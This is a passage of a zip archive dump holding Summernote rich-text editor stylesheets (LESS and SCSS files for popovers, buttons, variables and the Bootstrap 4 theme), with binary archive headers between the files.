  padding: 10px 5px;
  border-bottom: 1px solid #e2e2e2;
}PK�{�\��ӷ88less/lite-ui/popover.lessnu�[���.note-popover {
  position: absolute;
  z-index: @zindex-popover;
  display: block;
  // Our parent element can be arbitrary since popovers are by default inserted as a sibling of their target element.
  // So reset our font and text properties to avoid inheriting weird values.
  font-size: 13px;

  display: none;
  background: @popover-bg;
  border: 1px solid @popover-border-color;
  border: 1px solid @popover-fallback-border-color;

  &.in     { display: block; }
  &.top    { margin-top:  -3px; padding: 5 0; }
  &.right  { margin-left:  3px; padding: 0 5; }
  &.bottom { margin-top:   3px; padding: 5 0; }
  &.left   { margin-left: -3px; padding: 0 5; }
}

.note-popover {
  &.bottom .note-popover-arrow {
    top: -11px;
    left: 50%;
    margin-left: -@popover-arrow-width;
    border-top-width: 0;
    border-bottom-color: @popover-arrow-outer-fallback-color;
    border-bottom-color: @popover-arrow-outer-color;

    &::after {
      top: 1px;
      margin-left: -10px;
      content: " ";
      border-top-width: 0;
      border-bottom-color: #fff;
    }
  }

  &.top .note-popover-arrow {
    bottom: -11px;
    left: 50%;
    margin-left: -@popover-arrow-width;
    border-bottom-width: 0;
    border-top-color: @popover-arrow-outer-fallback-color;
    border-top-color: @popover-arrow-outer-color;

    &::after {
      bottom: 1px;
      margin-left: -10px;
      content: " ";
      border-bottom-width: 0;
      border-top-color: #fff;
    }
  }

  &.right .note-popover-arrow {
    top: 50%;
    left: -11px;
    margin-top: -@popover-arrow-width;
    border-left-width: 0;
    border-right-color: @popover-arrow-outer-fallback-color;
    border-right-color: @popover-arrow-outer-color;

    &::after {
      left: 1px;
      margin-top: -10px;
      content: " ";
      border-left-width: 0;
      border-right-color: #fff;
    }

  }
  &.left .note-popover-arrow {
    top: 50%;
    right: -11px;
    margin-top: -@popover-arrow-width;
    border-right-width: 0;
    border-left-color: @popover-arrow-outer-fallback-color;
    border-left-color: @popover-arrow-outer-color;

    &::after {
      right: 1px;
      margin-top: -10px;
      content: " ";
      border-right-width: 0;
      border-left-color: #fff;
    }
  }
}


.note-popover-arrow {
  position: absolute;
  width: 0;
  height: 0;
  border: 11px solid transparent;

  &::after {
    position: absolute;
    display: block;
    width: 0;
    height: 0;
    border-color: transparent;
    border-style: solid;


    content :  " ";
    border-width: 10px;
  }

}

.note-popover-content {
  /*max-width: @popover-max-width;*/
  padding: 3px 8px;
  color: @popover-color;
  text-align: center;
  background-color: @popover-bg;
  min-width: 100px;
  min-height: 30px;
}PK�{�\�J�PPless/lite-ui/all.lessnu�[���// Core variables and mixins
@import "../elements.less";
@import "variables.less";
@import "mixins.less";

@import "common.less";
@import "toolbar.less";
@import "btn-group.less";
@import "buttons.less";
@import "dropdown.less";
@import "modal.less";
@import "form.less";
@import "tooltip.less";
@import "popover.less";

PK�{�\.����less/lite-ui/buttons.lessnu�[���.note-btn {
  display: inline-block;
  font-weight: 400;
  margin-bottom: 0;
  text-align: center;
  vertical-align: middle;
  touch-action: manipulation;
  cursor: pointer;
  background-image: none;
  border: 1px solid @btn-default-border;
  white-space: nowrap;
  outline: 0;
  .button-maker(@btn-default-color; @btn-default-bg; @btn-default-hover-bg;  @btn-default-active-bg; @btn-default-border);
  .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size; @line-height; @btn-border-radius-base);
  .user-select(none);

  &:hover,
  &:focus,
  &.focus {
    color: @btn-default-color;
    text-decoration: none;
    border: 1px solid @btn-default-border;
    background-color: @btn-default-hover-bg;
    outline: 0;
    .rounded(1px);
  }

  &:active,
  &.active {
    outline: 0;
    background-image: none;
    /*.box-shadow(inset 0 3px 5px rgba(0,0,0,.125));*/
  }

  &.disabled,
  &[disabled],
  fieldset[disabled] & {
    cursor: @cursor-disabled;
    .opacity(.65);
    .box-shadow(none);
  }

}

.note-btn-primary {
  background: #fa6362;
  color: #fff;

  &:hover,
  &:focus,
  &.focus {
    color: #fff;
    text-decoration: none;
    border: 1px solid @btn-default-border;
    background-color: #fa6362;
    .rounded(1px);
  }

}

.note-btn-block {
  display: block;
  width: 100%;
}

.note-btn-block + .note-btn-block {
  margin-top:5px;
}

// Specificity overrides
input[type="submit"],
input[type="reset"],
input[type="button"] {
  &.note-btn-block {
    width: 100%;
  }
}

button.close {
  padding: 0;
  cursor: pointer;
  background: transparent;
  border: 0;
  -webkit-appearance: none;
}

.close {
  float: right;
  font-size: 21px;
  line-height: 1;
  color: #000;
  opacity: .2;
}

.close:hover {
  -webkit-opacity: 1;
   -khtml-opacity: 1;
     -moz-opacity: 1;
       -ms-filter: alpha(opacity=100);
           filter: alpha(opacity=100);
          opacity: 1
}PK�{�\�e�NNless/lite-ui/common.lessnu�[���.note-frame * {
  -webkit-box-sizing: border-box;
     -moz-box-sizing: border-box;
          box-sizing: border-box;
  color: #000;
}

p {
  margin: 0 0 10px;
}

// shortcut text style
kbd {
  border-radius: 2px;
  background-color: #000;
  color: #fff;
  padding: 3px 5px;
  font-weight: 700;
  .box-sizing();
}
PK�{�\(Mj�2	2	less/lite-ui/variables.lessnu�[���
@gray-base:   #000;
@gray-darker: lighten(@gray-base, 13.5%); // #222
@gray-dark:   lighten(@gray-base, 20%);   // #333
@gray:        lighten(@gray-base, 33.5%); // #555
@gray-light:  lighten(@gray-base, 46.7%); // #777
@gray-lighter:lighten(@gray-base, 93.5%); // #eee

@font-size: 14px;
@font-size-large: ceil((@font-size * 1.25));
@font-size-small: ceil((@font-size * 0.85));

@line-height: 1.4;
@line-height-computed: floor((@line-height * @font-size));

@padding-base-vertical: 5px;
@padding-base-horizontal: 10px;

@border-radius-base: 1px;
@btn-border-radius-base: @border-radius-base;

@icon-font-path: "../fonts/";
@icon-font-name: "summernote";
@icon-font-svg-id: "summernote";

@btn-font-weight: normal;
@btn-default-color : #333;
@btn-default-bg: #fff;
@btn-default-border: #fff;
@btn-default-hover-bg: #ebebeb;
@btn-default-active-bg: #f0f0f0;

@input-bg: #fff;
@input-bg-disabled: @gray-lighter;
@input-color: @gray;
@input-border: #ccc;

@input-border-focus: #66afe9;
@input-color-placeholder: #999;

@cursor-disabled: not-allowed;

@zindex-dropdown:          1000;
@zindex-popover:1060;
@zindex-tooltip:1070;
@zindex-modal-background:  1040;
@zindex-modal:  1050;

@dropdown-color-bg: #fff;
@dropdown-color-border: #e2e2e2;

@tooltip-max-width:200px;
@tooltip-color:    #fff;
@tooltip-bg:       #000;
@tooltip-opacity:  .9;
@tooltip-arrow-width:         5px;
@tooltip-arrow-color:         @tooltip-bg;

@popover-bg:    #ffffff;
@popover-color: #000;
@popover-max-width:        276px;
@popover-border-color:     rgba(0,0,0,.2);
@popover-fallback-border-color:       #ccc;
@popover-title-bg:         darken(@popover-bg, 3%);
@popover-arrow-width:      10px;
@popover-arrow-color:      @popover-bg;
@popover-arrow-outer-width:(@popover-arrow-width + 1);
@popover-arrow-outer-color:fadein(@popover-border-color, 5%);
@popover-arrow-outer-fallback-color:  darken(@popover-fallback-border-color, 20%);


@modal-inner-padding: 15px;
@modal-title-padding: 15px;
@modal-title-line-height: @line-height;
@modal-content-bg: #fff;
@modal-content-border-color: rgba(0,0,0,.2);
@modal-content-fallback-border-color: #999;
@modal-backdrop-bg: #000;
@modal-backdrop-opacity: .5;
@modal-header-border-color: #e5e5e5;
@modal-footer-border-color: @modal-header-border-color;
PK�{�\��less/lite-ui/mixins.lessnu�[���@import "mixins/buttons.less";PK�{�\	��;=/=/less/summernote-bs4.lessnu�[���@import "elements.less";
@import "../icons/dist/summernote.less";

/* Theme Variables
 ------------------------------------------*/
@border-color: #a9a9a9;
@background-color: #f5f5f5;

@img-margin-left: 10px;
@img-margin-right: 10px;

/* Layout
 ------------------------------------------*/
.note-editor {
  position: relative;

  /* dropzone */
  @dropzone-color: lightskyblue;
  @dropzone-active-color: darken(@dropzone-color, 30);
  .note-dropzone {
    position: absolute;
    display: none;
    z-index: 100;
    color: @dropzone-color;
    background-color: #fff;
    opacity: 0.95;

    .note-dropzone-message {
      display: table-cell;
      vertical-align: middle;
      text-align: center;
      font-size: 28px;
      font-weight: 700;
    }

    &.hover {
      color: @dropzone-active-color;
    }
  }

  &.dragover .note-dropzone {
    display: table;
  }

  .note-editing-area {
    position: relative;

    .note-editable {
      outline: none;

      sup {
        vertical-align: super;
      }

      sub {
        vertical-align: sub;
      }
    }

    img.note-float-left {
      margin-right: @img-margin-right;
    }

    img.note-float-right {
      margin-left: @img-margin-left;
    }
  }
}

/* Frame mode layout
------------------------------------------*/
.note-editor.note-frame {
  border: 1px solid @border-color;

  /* codeview mode */
  &.codeview {
    .note-editing-area {
      .note-editable {
        display: none;
      }
      .note-codable {
        display: block;
      }
    }
  }

  .note-editing-area {
    overflow: hidden;

    /* editable */
    .note-editable {
      background-color: #fff;
      color: #000;
      padding: 10px;
      overflow: auto;
      word-wrap: break-word;

      &[contenteditable="false"] {
        background-color: #e5e5e5;
      }
    }

    /* codeable */
    .note-codable {
      display: none;
      width: 100%;
      padding: 10px;
      border: none;
      box-shadow: none;
      font-family: Menlo, Monaco, monospace, sans-serif;
      font-size: 14px;
      color: #ccc;
      background-color: #222;
      resize: none;

      /* override BS2 default style */
      .box-sizing(border-box);
      .rounded(0);
      margin-bottom: 0;
    }
  }

  /* fullscreen mode */
  &.fullscreen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100% !important;
    z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */
    .note-editable {
      background-color: #fff;
    }
    .note-resizebar {
      display: none;
    }
  }

/* Notifications */
  .note-status-output {
    display: block;
    width: 100%;
    font-size: 14px;
    line-height: 1.42857143;
    height: 20px;
    margin-bottom: 0;
    color: #000;
    border: 0;
    border-top: 1px solid #e2e2e2
  }

  .note-status-output:empty {
    height: 0;
    border-top:0 solid transparent
  }

  .note-status-output .pull-right {
    float: right !important
  }

  .note-status-output .text-muted {
    color: #777
  }

  .note-status-output .text-primary {
    color: #286090
  }

  .note-status-output .text-success {
    color: #3c763d
  }

  .note-status-output .text-info {
    color: #31708f
  }

  .note-status-output .text-warning {
    color: #8a6d3b
  }

  .note-status-output .text-danger {
    color:#a94442
  }

  .note-status-output .alert {
    margin: -7px 0 0 0;
    padding: 7px 10px 2px 10px;
    border-radius: 0;
    color: #000;
    background-color: #f5f5f5;
  }

  .note-status-output .alert .note-icon{
    margin-right: 5px
  }

  .note-status-output .alert-success {
    color: #3c763d !important;
    background-color: #dff0d8 !important;
  }

  .note-status-output .alert-info {
    color: #31708f !important;
    background-color: #d9edf7 !important;
  }

  .note-status-output .alert-warning {
    color: #8a6d3b !important;
    background-color: #fcf8e3 !important;
  }

  .note-status-output .alert-danger {
    color: #a94442 !important;
    background-color: #f2dede !important;
  }

  /* statusbar */
  .note-statusbar {
    background-color: @background-color;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
    border-top: 1px solid #ddd;
    .note-resizebar {
      padding-top: 1px;
      height: 9px;
      width: 100%;
      cursor: ns-resize;
      .note-icon-bar {
        width: 20px;
        margin: 1px auto;
        border-top: 1px solid @border-color;
      }
    }

    &.locked {
      .note-resizebar {
        cursor: default;
        .note-icon-bar {
          display: none;
        }
      }
    }
  }
  .note-placeholder {
    padding: 10px;
  }
}

/* Popover
------------------------------------------*/
.note-popover.popover {
  display: none;
  max-width: none;
  .popover-content {
    a {
      display: inline-block;
      max-width: 200px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;    /* for FF */
      vertical-align: middle; /* for FF */
    }
  }
  .arrow {
    left: 20px !important;
  }
}

/* Popover and Toolbar (Button container)
------------------------------------------*/
.note-toolbar {
  z-index: 500;
  position: relative;
}

.note-popover .popover-content, .card-header.note-toolbar {
  margin: 0;
  padding: 0 0 5px 5px;

  &>.btn-group {
    margin-top: 5px;
    margin-left: 0;
    margin-right: 5px;
  }

  .btn-group {
    .note-table {
      min-width: 0;
      padding: 5px;
      .note-dimension-picker {
        font-size: 18px;
        .note-dimension-picker-mousecatcher {
          position: absolute !important;
          z-index: 3;
          width: 10em;
          height: 10em;
          cursor: pointer;
        }
        .note-dimension-picker-unhighlighted {
          position: relative !important;
          z-index: 1;
          width: 5em;
          height: 5em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
        .note-dimension-picker-highlighted {
          position: absolute !important;
          z-index: 2;
          width: 1em;
          height: 1em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
      }
    }
  }

  .note-style { 
    .dropdown-style {
      blockquote, pre {
          margin: 0;
          padding: 5px 10px;
      }
      h1, h2, h3, h4, h5, h6, p {
          margin: 0;
          padding: 0;
      }
    }
  }

  .note-color {
    .dropdown-toggle {
      width: 20px;
      padding-left: 5px;
    }
    .dropdown-menu {
      min-width: 337px;
      .note-palette {
        display: inline-block;
        margin: 0;
        width: 160px;
        &:first-child {
          margin: 0 5px;
        }

        .note-palette-title {
          font-size: 12px;
          margin: 2px 7px;
          text-align: center;
          border-bottom: 1px solid #eee;
        }

        .note-color-reset {
          margin: 3px;
          padding: 0 3px;
          width: 100%;
          font-size: 11px;
          cursor: pointer;
          .rounded(5px);
        }

        .note-color-row {
          height: 20px;
        }

        .note-color-reset:hover {
          background: #eee;
        }
      }
    }
  }

  .note-para {
    .dropdown-menu {
      min-width: 216px;
      padding: 5px;
      &>div:first-child {
        margin-right: 5px;
      }
    }
  }

  /* dropdown-menu for toolbar and popover */
  .dropdown-menu {
    min-width: 90px;

    /* dropdown-menu right position */
    /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */
    &.right {
      right: 0;
      left: auto;
      &::before { right: 9px; left: auto !important;  }
      &::after { right: 10px; left: auto !important;  }
    }
    /* dropdown-menu for selectbox */
    &.note-check {
      a i {
        color: deepskyblue;
        visibility: hidden;
      }
      a.checked i {
        visibility: visible;
      }
    }

  }

  .note-fontsize-10 {
    font-size: 10px;
  }

  /* color palette for toolbar and popover */
  .note-color-palette {
    line-height: 1;
    div {
      .note-color-btn {
        width: 20px;
        height: 20px;
        padding: 0;
        margin: 0;
        border: 1px solid #fff;
      }
      .note-color-btn:hover {
        border: 1px solid #000;
      }
    }
  }
}

/* Dialog
------------------------------------------*/
.note-dialog {
  &>div {
    display: none; /* BS2's hide pacth. */
  }
  .form-group { /* overwrite BS's form-horizontal minus margins */
    margin-left: 0;
    margin-right: 0;
  }
  .note-modal-form {
    margin: 0; /* overwrite BS2's form margin bottom */
  }
  .note-image-dialog {
    .note-dropzone {
      min-height: 100px;
      font-size: 30px;
      line-height: 4; /* vertical-align */
      color: lightgray;
      text-align: center;
      border: 4px dashed lightgray;
      margin-bottom: 10px;
    }
  }

  // [workaround] firefox fileinput
  @-moz-document url-prefix() {
    .note-image-input {
      height: auto;
    }
  }
}

/* Placeholder
------------------------------------------*/
.note-placeholder {
  position: absolute;
  display: none;
  color: gray;
}

/* Handle
------------------------------------------*/
.note-handle {
  /* control selection */
  .note-control-selection {
    position: absolute;
    display: none;
    border: 1px solid black;
    &>div { position: absolute; }

    .note-control-selection-bg {
      width: 100%;
      height: 100%;
      background-color: black;
      .opacity(0.30)
    }

    .note-control-handle {
      width: 7px;
      height: 7px;
      border: 1px solid black;
    }

    .note-control-holder {
      .note-control-handle;
    }

    .note-control-sizing {
      .note-control-handle;
      background-color: white;
    }

    .note-control-nw {
      top: -5px;
      left: -5px;
      border-right: none;
      border-bottom: none;
    }

    .note-control-ne {
      top: -5px;
      right: -5px;
      border-bottom: none;
      border-left: none;
    }

    .note-control-sw {
      bottom: -5px;
      left: -5px;
      border-top: none;
      border-right: none;
    }

    .note-control-se {
      right: -5px;
      bottom: -5px;
      cursor: se-resize;
    }

    .note-control-se.note-control-holder {
      cursor: default;
      border-top: none;
      border-left: none;
    }

    .note-control-selection-info {
      right: 0;
      bottom: 0;
      padding: 5px;
      margin: 5px;
      color: #fff;
      background-color: #000;
      font-size: 12px;
      .rounded(5px);
      .opacity(0.7);
    }
  }
}

.note-hint-popover {
  min-width: 100px;
  padding: 2px;

  .popover-content {
    padding: 3px;
    max-height: 150px;
    overflow: auto;

    .note-hint-group {
      .note-hint-item {
        display: block !important;
        padding: 3px;

        &.active, &:hover {
          display: block;
          clear: both;
          font-weight: 400;
          line-height: 1.4;
          color: #fff;
          white-space: nowrap;
          text-decoration: none;
          background-color: #428bca;
          outline: 0;
          cursor: pointer;
        }
      }
    }
  }
}
PK�{�\*���B.B.less/summernote-bs4.scssnu�[���@import "elements.scss";

/* Theme Variables
 ------------------------------------------*/
$border-color: #a9a9a9;
$background-color: #f5f5f5;

$img-margin-left: 10px;
$img-margin-right: 10px;

/* Layout
 ------------------------------------------*/
.note-editor {
  position: relative;

  /* dropzone */
  $dropzone-color: lightskyblue;
  $dropzone-active-color: darken($dropzone-color, 30);
  .note-dropzone {
    position: absolute;
    display: none;
    z-index: 100;
    color: $dropzone-color;
    background-color: #fff;
    opacity: 0.95;

    .note-dropzone-message {
      display: table-cell;
      vertical-align: middle;
      text-align: center;
      font-size: 28px;
      font-weight: 700;
    }

    &.hover {
      color: $dropzone-active-color;
    }
  }

  &.dragover .note-dropzone {
    display: table;
  }

  .note-editing-area {
    position: relative;

    .note-editable {
      outline: none;

      sup {
        vertical-align: super;
      }

      sub {
        vertical-align: sub;
      }

      img.note-float-left {
        margin-right: $img-margin-right;
      }

      img.note-float-right {
        margin-left: $img-margin-left;
      }
    }
  }
}

/* Frame mode layout
------------------------------------------*/
.note-editor.note-frame {
  border: 1px solid $border-color;

  /* codeview mode */
  &.codeview {
    .note-editing-area {
      .note-editable {
        display: none;
      }
      .note-codable {
        display: block;
      }
    }
  }

  .note-editing-area {
    overflow: hidden;

    /* editable */
    .note-editable {
      background-color: #fff;
      color: #000;
      padding: 10px;
      overflow: auto;
      word-wrap: break-word;

      &[contenteditable="false"] {
        background-color: #e5e5e5;
      }
    }

    /* codeable */
    .note-codable {
      display: none;
      width: 100%;
      padding: 10px;
      border: none;
      box-shadow: none;
      font-family: Menlo, Monaco, monospace, sans-serif;
      font-size: 14px;
      color: #ccc;
      background-color: #222;
      resize: none;

      /* override BS2 default style */
      @include box-sizing(border-box);
      @include rounded(0);
      margin-bottom: 0;
    }
  }

  /* fullscreen mode */
  &.fullscreen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100% !important;
    z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */
    .note-editable {
      background-color: #fff;
    }
    .note-resizebar {
      display: none;
    }
  }

/* Notifications */
  .note-status-output {
    display: block;
    width: 100%;
    font-size: 14px;
    line-height: 1.42857143;
    height: 20px;
    margin-bottom: 0;
    color: #000;
    border: 0;
    border-top: 1px solid #e2e2e2
  }

  .note-status-output:empty {
    height: 0;
    border-top: 0 solid transparent
  }

  .note-status-output .pull-right {
    float: right !important
  }

  .note-status-output .text-muted {
    color: #777
  }

  .note-status-output .text-primary {
    color: #286090
  }

  .note-status-output .text-success {
    color: #3c763d
  }

  .note-status-output .text-info {
    color: #31708f
  }

  .note-status-output .text-warning {
    color: #8a6d3b
  }

  .note-status-output .text-danger {
    color:#a94442
  }

  .note-status-output .alert {
    margin: -7px 0 0 0;
    padding: 7px 10px 2px 10px;
    border-radius: 0;
    color: #000;
    background-color: #f5f5f5;
  }

  .note-status-output .alert .note-icon{
    margin-right: 5px
  }

  .note-status-output .alert-success {
    color: #3c763d !important;
    background-color: #dff0d8 !important;
  }

  .note-status-output .alert-info {
    color: #31708f !important;
    background-color: #d9edf7 !important;
  }

  .note-status-output .alert-warning {
    color: #8a6d3b !important;
    background-color: #fcf8e3 !important;
  }

  .note-status-output .alert-danger {
    color: #a94442 !important;
    background-color: #f2dede !important;
  }

  /* statusbar */
  .note-statusbar {
    background-color: $background-color;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
    border-top: 1px solid #ddd;
    .note-resizebar {
      padding-top: 1px;
      height: 9px;
      width: 100%;
      cursor: ns-resize;
      .note-icon-bar {
        width: 20px;
        margin: 1px auto;
        border-top: 1px solid $border-color;
      }
    }

    &.locked {
      .note-resizebar {
        cursor: default;
        .note-icon-bar {
          display: none;
        }
      }
    }
  }
  .note-placeholder {
    padding: 10px;
  }
}

/* Popover
------------------------------------------*/
.note-popover.popover {
  max-width: none;
  .popover-content {
    a {
      display: inline-block;
      max-width: 200px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;    /* for FF */
      vertical-align: middle; /* for FF */
    }
  }
  .arrow {
    left: 20px !important;
  }
}

/* Popover and Toolbar (Button container)
------------------------------------------*/
.note-popover .popover-content, .panel-heading.note-toolbar {
  margin: 0;
  padding: 0 0 5px 5px;

  &>.btn-group {
    margin-top: 5px;
    margin-left: 0;
    margin-right: 5px;
  }

  .btn-group {
    .note-table {
      min-width: 0;
      padding: 5px;
      .note-dimension-picker {
        font-size: 18px;
        .note-dimension-picker-mousecatcher {
          position: absolute !important;
          z-index: 3;
          width: 10em;
          height: 10em;
          cursor: pointer;
        }
        .note-dimension-picker-unhighlighted {
          position: relative !important;
          z-index: 1;
          width: 5em;
          height: 5em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
        .note-dimension-picker-highlighted {
          position: absolute !important;
          z-index: 2;
          width: 1em;
          height: 1em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
      }
    }
  }

  .note-style { 
    .dropdown-style {
      blockquote, pre {
          margin: 0;
          padding: 5px 10px;
      }
      h1, h2, h3, h4, h5, h6, p {
          margin: 0;
          padding: 0;
      }
    }
  }

  .note-color {
    .dropdown-toggle {
      width: 20px;
      padding-left: 5px;
    }
    .dropdown-menu {
      min-width: 340px;
      .btn-group {
        margin: 0;
        &:first-child {
          margin: 0 5px;
        }

        .note-palette-title {
          font-size: 12px;
          margin: 2px 7px;
          text-align: center;
          border-bottom: 1px solid #eee;
        }

        .note-color-reset {
          font-size: 11px;
          margin: 3px;
          padding: 0 3px;
          cursor: pointer;
          @include rounded(5px);
        }

        .note-color-row {
          height: 20px;
        }

        .note-color-reset:hover {
          background: #eee;
        }
      }
    }
  }

  .note-para {
    .dropdown-menu {
      min-width: 216px;
      padding: 5px;
      &>div:first-child {
        margin-right: 5px;
      }
    }
  }

  /* dropdown-menu for toolbar and popover */
  .dropdown-menu {
    min-width: 90px;

    /* dropdown-menu right position */
    /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */
    &.right {
      right: 0;
      left: auto;
      &::before { right: 9px; left: auto !important;  }
      &::after { right: 10px; left: auto !important;  }
    }
    /* dropdown-menu for selectbox */
    &.note-check {
      li a i {
        color: deepskyblue;
        visibility: hidden;
      }
      li a.checked i {
        visibility: visible;
      }
    }

  }

  .note-fontsize-10 {
    font-size: 10px;
  }

  /* color palette for toolbar and popover */
  .note-color-palette {
    line-height: 1;
    div {
      .note-color-btn {
        width: 20px;
        height: 20px;
        padding: 0;
        margin: 0;
        border: 1px solid #fff;
      }
      .note-color-btn:hover {
        border: 1px solid #000;
      }
    }
  }
}

/* Dialog
------------------------------------------*/
.note-dialog {
  &>div {
    display: none; /* BS2's hide pacth. */
  }
  .form-group { /* overwrite BS's form-horizontal minus margins */
    margin-left: 0;
    margin-right: 0;
  }
  .note-modal-form {
    margin: 0; /* overwrite BS2's form margin bottom */
  }
  .note-image-dialog {
    .note-dropzone {
      min-height: 100px;
      font-size: 30px;
      line-height: 4; /* vertical-align */
      color: lightgray;
      text-align: center;
      border: 4px dashed lightgray;
      margin-bottom: 10px;
    }
  }
}

/* Placeholder
------------------------------------------*/
.note-placeholder {
  position: absolute;
  display: none;
  color: gray;
}

/* Handle
------------------------------------------*/
.note-handle {
  /* control selection */
  .note-control-selection {
    position: absolute;
    display: none;
    border: 1px solid black;
    &>div { position: absolute; }

    .note-control-selection-bg {
      width: 100%;
      height: 100%;
      background-color: #000;
      @include opacity(0.3);
    }

    .note-control-handle {
      width: 7px;
      height: 7px;
      border: 1px solid #000;
    }

    .note-control-holder {
      @extend .note-control-handle;
    }

    .note-control-sizing {
      @extend .note-control-handle;
      background-color: #fff;
    }

    .note-control-nw {
      top: -5px;
      left: -5px;
      border-right: none;
      border-bottom: none;
    }

    .note-control-ne {
      top: -5px;
      right: -5px;
      border-bottom: none;
      border-left: none;
    }

    .note-control-sw {
      bottom: -5px;
      left: -5px;
      border-top: none;
      border-right: none;
    }

    .note-control-se {
      right: -5px;
      bottom: -5px;
      cursor: se-resize;
    }

    .note-control-se.note-control-holder {
      cursor: default;
      border-top: none;
      border-left: none;
    }

    .note-control-selection-info {
      right: 0;
      bottom: 0;
      padding: 5px;
      margin: 5px;
      color: #fff;
      background-color: #000;
      font-size: 12px;
      @include rounded(5px);
      @include opacity(0.7);
    }
  }
}

.note-hint-popover {
  min-width: 100px;
  padding: 2px;

  .popover-content {
    padding: 3px;
    max-height: 150px;
    overflow: auto;

    .note-hint-group {
      .note-hint-item {
        display: block !important;
        padding: 3px;

        &.active, &:hover {
          display: block;
          clear: both;
          font-weight: 400;
          line-height: 1.4;
          color: white;
          white-space: nowrap;
          text-decoration: none;
          background-color: #428bca;
          outline: 0;
          cursor: pointer;
        }
      }
    }
  }
}
PK�{�\4��less/elements.scssnu�[���@mixin gradient($color: #F5F5F5, $start: #EEE, $stop: #FFF) {
  background: $color;
  background: -webkit-gradient(linear,
                               left bottom,
                               left top,
                               color-stop(0, $start),
                               color-stop(1, $stop));
  background: -ms-linear-gradient(bottom,
                                  $start,
                                  $stop);
  background: -moz-linear-gradient(center bottom,
                                   $start 0%,
                                   $stop 100%);
  background: -o-linear-gradient($stop,
                                 $start);
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str($stop)}', endColorstr='#{ie-hex-str($start)}', GradientType=0);
}
@mixin bw-gradient($color: #F5F5F5, $start: 0, $stop: 255) {
  background: $color;
  background: -webkit-gradient(linear,
                               left bottom,
                               left top,
                               color-stop(0, rgb($start,$start,$start)),
                               color-stop(1, rgb($stop,$stop,$stop)));
  background: -ms-linear-gradient(bottom,
                                  rgb($start,$start,$start) 0%,
                                  rgb($stop,$stop,$stop) 100%);
  background: -moz-linear-gradient(center bottom,
                                   rgb($start,$start,$start) 0%,
                                   rgb($stop,$stop,$stop) 100%);
  background: -o-linear-gradient(rgb($stop,$stop,$stop),
                                 rgb($start,$start,$start));
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str(rgb($stop,$stop,$stop))}', endColorstr='#{ie-hex-str(rgb($start,$start,$start))}', GradientType=0);
}
@mixin bordered($top-color: #EEE, $right-color: #EEE, $bottom-color: #EEE, $left-color: #EEE) {
  border-top: solid 1px $top-color;
  border-left: solid 1px $left-color;
  border-right: solid 1px $right-color;
  border-bottom: solid 1px $bottom-color;
}
@mixin drop-shadow($x-axis: 0, $y-axis: 1px, $blur: 2px, $alpha: 0.1) {
  -webkit-box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha);
  -moz-box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha);
  box-shadow: $x-axis $y-axis $blur rgba(0, 0, 0, $alpha);
}
@mixin rounded($radius: 2px) {
  -webkit-border-radius: $radius;
  -moz-border-radius: $radius;
  border-radius: $radius;
}
@mixin border-radius($topright: 0, $bottomright: 0, $bottomleft: 0, $topleft: 0) {
  -webkit-border-top-right-radius: $topright;
  -webkit-border-bottom-right-radius: $bottomright;
  -webkit-border-bottom-left-radius: $bottomleft;
  -webkit-border-top-left-radius: $topleft;
  -moz-border-radius-topright: $topright;
  -moz-border-radius-bottomright: $bottomright;
  -moz-border-radius-bottomleft: $bottomleft;
  -moz-border-radius-topleft: $topleft;
  border-top-right-radius: $topright;
  border-bottom-right-radius: $bottomright;
  border-bottom-left-radius: $bottomleft;
  border-top-left-radius: $topleft;
  @include background-clip(padding-box);
}
@mixin opacity($opacity: 0.5) {
  -webkit-opacity: $opacity;
  -khtml-opacity: $opacity;
  -moz-opacity: $opacity;
  opacity: $opacity;
  $opperc: $opacity * 100;
  -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=#{$opperc});
  filter: alpha(opacity=$opperc);
}
@mixin transition-duration($duration: 0.2s) {
  -moz-transition-duration: $duration;
